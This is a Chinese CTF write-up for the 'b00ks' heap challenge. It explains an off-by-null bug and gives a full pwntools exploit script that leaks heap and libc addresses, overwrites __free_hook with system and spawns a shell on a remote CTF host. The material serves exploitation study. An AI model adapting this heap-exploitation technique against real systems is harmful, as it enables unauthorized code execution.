前言

一篇题解,针对off_by_null漏洞的攻击

https://www.52pojie.cn/thread-1825637-1-1.html

参考的这个博客

网上的题解一般是两种方法,一个是mmap泄漏libc地址,一个是unsorted bin泄漏libc

本篇是unsorted bin泄漏libc

分析

漏洞点在read_n函数里面

__int64 __fastcall read_n(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]

if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == '\n' )
break;
++a1;
if ( i == a2 )
break;
}
*a1 = 0; // off by null
return 0LL;
}

可以发现这里有一个off by one+off by null,在实际调用中,a2的值一般是n-1,因此off by one就没有了,只有off by null

bss段里面可以发现,name_ptr只有32个字节,之后紧跟着book_menu,也就是说我们可以通过name_ptr最后的off_by_null字节来修改第一个堆块指针的低字节。

每个book_menu里面存储是一个结构体的指针,结构体具体是这样

struct book
{
int id;
char *book_name;
char *book_description;
int description_size;
};

在ida里面使用shift+F1,在右键插入就可以自己定义结构体了,之后在需要修改的变量那里按y修改成book* a即可。

我们之前已经学过一种泄漏libc的方法,让一个不是fastbin大小的堆块释放,就会落到unsorted bin里面,这时候里面的fd和bk就是unsorted bin地址,可以通过这个来泄露出libc地址

get shell的方式我们之前也学过了,通过修改__free_hook为system,然后free掉一个/bin/sh\x00的块就可以了

我的exp贴出来、

from pwn import *
context(log_level='debug', arch='i386', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def cmd(choice):
sla("> ",str(choice))
def create(name_size,book_name,des_size,des):
cmd(1)
sla("Enter book name size: ",str(name_size))
sla("(Max 32 chars): ",book_name)
sla("Enter book description size: ",str(des_size))
sla("Enter book description: ",des)
def delete(id):
cmd(2)
sla("you want to delete: ",str(id))
def edit(id,des):
cmd(3)
sla("id you want to edit: ",str(id))
sla("Enter new book description: ",des)
def printf():
cmd(4)
def read_name(name):
cmd(5)
sla("Enter author name: ",name)
def Exit():
cmd(6)
#p=process('./b00ks')
p=remote('node5.buuoj.cn',25242)
libc=ELF('./libc-2.23.so')
sla("name:",b"a"*32)
#gdb.attach(p,'b* $rebase(0x12C3)')
create(0xd0,"my_first",0xa0,"the_des")
printf()
ru("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
heap_addr=uu64(p.recv(6))
leak("heap_addr",heap_addr)
heap_base = heap_addr - 0x11b0

create(0x20,"bbbbbbbb",0x80,"bbbbbbbb")#id 2
create(0x20,"/bin/sh\x00",0x20,"/bin/sh\x00") #id 3
# heap+0x1210是id=2的des块
#gdb.attach(p,'b* $rebase(0x12C3)')
#0x634922eaa330
delete(2)
edit(1,p64(1)+p64(heap_base+0x1210)+p64(heap_base+0x1340)+p64(0x1000))
read_name(b'a'*32)
printf()
ru("Name: ")
libc_leak=uu64(p.recv(6))
libc_base=libc_leak-0x3c4b78
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']#+0x10
leak("system",libc.sym['system'])
leak("free_hook",free_hook)
#gdb.attach(p,'b* $rebase(0x12C3)')
edit(1,p64(free_hook)+b'\x00'*2+b'\x20')
edit(3,p64(system))
delete(3)
ti()

这里分为几个步骤,首先泄漏heap地址,之后利用泄漏的heap地址来泄漏libc地址,之后再改free_hook最后get shell

sla("name:",b"a"*32)
create(0xd0,"my_first",0xa0,"the_des")
printf()
ru("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
heap_addr=uu64(p.recv(6))
leak("heap_addr",heap_addr)

由于作者后面紧跟着就是第一个堆块的地址,因此我们先发送32个a来填满name这一块,此时\x00会放在堆地址处,我们再创建第一个堆块,就会覆盖掉之前写的\x00,那么name后面就不会有\x00,而可以在printf后面直接泄漏出第一个堆块地址

这里在创建第一个堆块的时候还要考虑好名字和描述的堆块大小,要让描述块的指针正好落在低字节为\x00,book_menu的指针落在描述块后面,但倒数第二个字节要一致。

create(0x20,"bbbbbbbb",0x80,"bbbbbbbb")#id 2
create(0x20,"/bin/sh\x00",0x20,"/bin/sh\x00") #id 3
# heap+0x1210是id=2的des块
#gdb.attach(p,'b* $rebase(0x12C3)')
#0x634922eaa330
delete(2)
edit(1,p64(1)+p64(heap_base+0x1210)+p64(heap_base+0x1340)+p64(0x1000))
read_name(b'a'*32)
printf()
ru("Name: ")
libc_leak=uu64(p.recv(6))
libc_base=libc_leak-0x3c4b78
leak("libc_base",libc_base)

之后我们创建两本书,id=2时的描述块要不能落在fastbin里面。

我们再这里释放掉第二本书,那么描述块就会落在unsorted bin里面,此时第二本书的描述块的fd和bk就是unsorted bin的地址。

这个edit函数编辑的是描述块,我们之前已经刚好让描述块落在了\x00的地址,我们此时再利用off_by_null就会恰好把原本的book_menu第一个指针改成描述块的指针,那我们在改之前先编辑一下1号块的描述块,就能在之后的edit(1)中修改其他的堆块了。

edit(1,p64(1)+p64(heap_base+0x1210)+p64(heap_base+0x1340)+p64(0x1000))

这里就是编辑1号块的描述块,让他伪造成一个book_menu结构。

其中heap_base+0x1210是2号块的描述块,heap_base+0x1340是3号块的book_menu块+0x10,也就刚好是描述块指针所在的地址。

read_name(b’a’*32)就是修改第一块book_menu的指针为2号块描述块的指针。此时2号块描述块已经被放在unsorted bin里面了,也就能泄漏出libc地址。

free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']#+0x10
leak("system",libc.sym['system'])
leak("free_hook",free_hook)
#gdb.attach(p,'b* $rebase(0x12C3)')
edit(1,p64(free_hook)+b'\x00'*2+b'\x20')
edit(3,p64(system))
delete(3)
ti()

我们此时再edit 1号块就是编辑3号块的book_menu结构体。我们直接把描述块指针本来在的位置改成free_hook的地址。然后再edit 3号块就相当于编辑free_hook。

这样我们就成功get shell。

学到的知识

这里就再次巩固了一下如何泄漏libc地址以及如何get shell。